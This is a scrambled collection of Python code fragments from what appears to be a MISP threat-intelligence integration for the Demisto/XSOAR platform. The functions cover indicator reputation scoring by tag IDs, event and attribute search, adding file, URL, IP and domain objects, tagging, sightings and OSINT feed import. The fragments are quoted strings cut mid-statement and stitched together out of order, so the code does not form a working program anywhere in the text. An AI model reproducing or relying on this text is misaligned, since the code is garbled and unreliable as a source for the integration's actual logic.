generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids,", "as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']: main()", "demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not,", "reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command ==", "dict): attribute_highlights = [] for attribute in response: event =", "and the event's attribute tags ones as it is part", "'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial':", "attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not", "MISP to the context output format. please note: attributes are", "dbot_type (str): Indicator type (file, url, domain, email or ip).", "except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name':", "is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in", "to add to tag_set_ids all the tags (event ones and", "Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if", "value in MISP and then calculates it's dbot score. The", "this is an attribute level, default is '0' tag_id =", "found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag", "are excluded from search-events output as the information is too", "return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command", "'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ]", "= [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if", "ot tag ids (each one is str), and verify all", "tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return", "or event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag']", "url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if", "\"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url =", "main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids'))", "arg in demisto_args} # Replacing keys and values from Demisto", "or attribute_uuid if not att_id: raise DemistoException('ID or UUID not", "be scored 2 (i.e suspicious). * don't have any tags", "get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key:", "was scored as malicious or suspicious. If no tag was", "operators. using the operators is optional. if 'demisto_query' does not", "return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag',", "1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in", "return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value)", "re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator =", "in both Malicious tag ids and Suspicious tag ids lists", "malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which", "logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect", "in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This", "their events objects. Note: When limits the attributes amount, we", "if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type ==", "use the Trust any certificate option.') if \"NewConnectionError\" in error:", "'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1", "uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid,", "tag was failed. Please make sure the UUID and tag", "Note: When limits the attributes amount, we sort the attributes", "JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)}", "'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date',", "if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search =", "\"\"\" Calculates the indicator score by following logic. Indicators of", "'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain:", "parsed outputs to context data (array of attributes). score: the", "if not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\")", "ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ]", "== limit: pagination_message += f\"Showing page {page} out others that", "'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args", "malicious will be scored by their event's threat level id.", "to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id':", "tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,", "= misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if", "demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj)", "of the complex operators the original input will be returned", "parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes", "get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return", "= json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj", "The given email address: {value} is not valid\") def get_indicator_results(value,", "tag in tag_ids: try: tag = int(tag) if tag <=", "Events that: * have tags which configured as malicious will", "SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' }", "if no complex query found returns the original input \"\"\"", "\"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags',", "= r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and =", "valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject):", "Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event", "event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags]", "'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen',", "it says that it is an attribute's tag. If the", "if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name')", "url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url", "by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return", "osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try:", "tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not", "= any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids)", "for attribute in all_attributes: event = attribute.get('Event', {}) event_name =", "Attributes tags (both malicious and suspicious) are stronger than events'", "error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to", "only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute')", "attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen:", "from typing import Union, List, Dict from urllib.parse import urlparse", "the event scope). If the data is attribute's (is_event_level =", "att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID", "is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if", "}) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute", "tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def", "in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event,", "ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain',", "Pymisp. Args: args: dictionary describes MISP object Returns: list: list", "The tag that was scored as malicious or suspicious. If", "address, email address, domain, url or file hash). dbot_type (str):", "[] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag", "ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return", "def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the", "'2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL,", "-> List[dict]: \"\"\" Extracting errors raised by PYMISP into readable", "the 'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page',", "tag. \"\"\" scored_events = [] if found_tag: for attribute in", "(str): Indicator type (file, url, domain, email or ip). malicious_tag_ids", "of attribute search returned from MISP to the context output", "required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def", "'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format:", "'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def", "demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else", "get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'):", "tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets", "\"\"\"returns list of attributes' values that match the search query", "= PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type", "str), and verify all the tags are valid positive integers.\"\"\"", "attributes_limit < 0: raise DemistoException('Attribute limit has to be a", "isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id,", "0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50'", "'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = {", "called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'),", "given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type':", "demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst'", "test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args:", "else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query})", "[event.get('Event') for event in response_object] for i in range(0, len(events)):", "attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get", "= ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message)", "arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution =", "url: {value} is not valid\") if dbot_type == 'EMAIL': if", "formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on", "a positive integer, please change the given: '{tag}' id.\") except", "was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute)", "(dict): The parsed outputs to context data (array of attributes).", "= argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B -", "was received from an event object, meaning the tags are", "'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted',", "= demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id =", "data (array of attributes). score: the indicator score found_tag: the", "(str): The indicator value (an IP address, email address, domain,", "\"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str,", "related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i])", "demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url':", "in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related", "of a NewConnectionError, ' 'Please make sure your MISP server", "= arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]:", "event_id (int): Event ID to add attribute to internal (bool):", "this function parses the response. This function goes over all", "(bool): if the given UUID belongs to an attribute (True)", "{number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights", "response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id", "raw_response=event ) def add_attribute(event_id: int = None, internal: bool =", "None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object)", "event_name): \"\"\" By the given object we go over all", "md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights,", "2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted':", "found_tag) which caused the indicator to be scored as malicious", "demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid", "a response in test_data/reputation_command_response.json Please see an example for a", "MISP because of a NewConnectionError, ' 'Please make sure your", "add the tag except PyMISPError: raise DemistoException(\"Adding the required tag", "int]) -> str: \"\"\" Gets a timestamp from MISP response", "'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args,", "url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append(", "output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute')", "raise DemistoException(f\"Error: The given url: {value} is not valid\") if", "controller='attributes') human_readable = f'Tag {tag} has been successfully removed from", "response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes):", "= demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj =", "dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights", "'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing':", "'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute):", "in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and", "Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info':", "indicator value, this function parses the response. This function goes", "DemistoException(f\"Tag id has to be a positive integer, please change", "output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid", "in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS,", "output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', [])", "in tag_ids: try: tag = int(tag) if tag <= 0:", "\"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\"", "== \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return", "command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif", "'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = {", "typing import Union, List, Dict from urllib.parse import urlparse import", "'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category':", "all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes,", "def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes'", "the ID and Name fields. In addition, returns set of", "attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type =", "return CommandResults(readable_output=f\"No events found in MISP for the given filters:", "event_tag_ids = set(), set() found_related_events = {} if not attributes_list:", "suspicious) are stronger than events' tags. \"\"\" found_tag = None", "elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score,", "in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')]", "threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg =", "if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not", "return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command ==", "to create the generic object Returns: GenericObjectGenerator: object created in", "of it's tags. If so, the event will be added", "'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [", "\"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True)", "about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str):", "tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events,", "if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') ==", "not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value} is", "(as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object", "list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list,", "Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if", "'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list)", "object from keys in event_args events[i] = {key: events[i].get(key) for", "'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive',", "event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'),", "\"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution')", "'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type',", "id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type =", "'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc':", "attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info')", "command or as part of another command (create event for", "indicator to get that score found_related_events (dict): contains info (name,", "score. The score is calculated by the tags ids (attribute", "is an event's tag. Otherwise (if it is set to", "tag_ids: try: tag = int(tag) if tag <= 0: raise", "scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name':", "OSINT feed from url and publishing them to MISP urls", "controller='attributes') human_readable = f'Tag {tag} has been successfully added to", "new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event =", "'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse", "for the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\",", "the event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')]", "it says that it is an event's tag. Otherwise (if", "regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query,", "Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for", "def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/')", "import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject,", "that includes the tag list. is_event_level (bool): Whether the attribute_dict", "as part of another command (create event for example) Args:", "reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True,", "else: Exception(\"MISP V3 error: Please provide a valid value for", "event in events_to_human_readable: # removing those fields as they are", "DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\"", "{attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for", "== 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration", "dbot_type): if dbot_type == 'FILE': # hashFormat will be used", "would like to add it to tag_set_ids. In any other", "\"\"\" Converts args dict into a list, please see GenericObjectGenerator", "raise DemistoException('Missing API Key. Fill in a valid key in", "'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag", "return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids", "events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag :=", "match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE)", "id: {event_id} was not found in MISP. please check it", "got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item", "* have tags which configured as malicious will be scored", "id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids',", "with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() #", "return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object':", "'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict):", "if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None", "make sure the UUID and tag exist.\") if is_attribute: response", "args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id'", "int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json',", "given limit) and by sub-functions calculated the score of the", "event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id", "file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def", "if len(response_for_context) == limit: pagination_message += f\"Showing page {page} out", "level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return", "tag was found, then the score is Unknown so no", "attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type':", "return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object", "build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid':", "event's threat level id. In such case, the score will", "key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS =", "'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version':", "or attribute. is_attribute (bool): if the given UUID belongs to", "event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event", "else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] =", "tag_set_ids all the tags (event ones and the event's attribute", "event_name (str): Name of the event \"\"\" related_events = []", "(event ones and the event's attribute tags ones as it", "that it is an attribute's tag. If the data is", "if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for", "try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise", "not a valid MISP feed. error: {e}') def add_object(event_id: str,", "address, domain, url or file hash). dbot_type (str): Indicator type", "response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except", "a valid MISP feed. error: {e}') def add_object(event_id: str, obj:", "from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def", "event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return", "# no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None", "= MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type", "configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES =", "'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2,", "= event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context)", "(int): Event ID to add attribute to internal (bool): if", "outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'),", "than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids)", "obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP", "attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid}", "formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', [])", "outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No", "url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path", "please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes", "'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name',", "outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored", "indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator", "None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data,", "proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object =", "'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id',", "= argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page',", "f'Tag {tag} has been successfully removed from the event {uuid}'", "str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name", "Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category':", "False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit',", "all the tags and search if found_tag is one of", "in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list", "ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def", "params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability)", "else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id,", "suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the given", "if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting", "info (name, id, threat level id) about all the events", "command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args))", "API Key. Fill in a valid key in the integration", "DemistoException(f\"Error: The given url: {value} is not valid\") if dbot_type", "= f'Tag {tag} has been successfully removed from the event", "tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output)", "is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command", "it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:", "Convert the response of event search returned from MISP to", "if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def 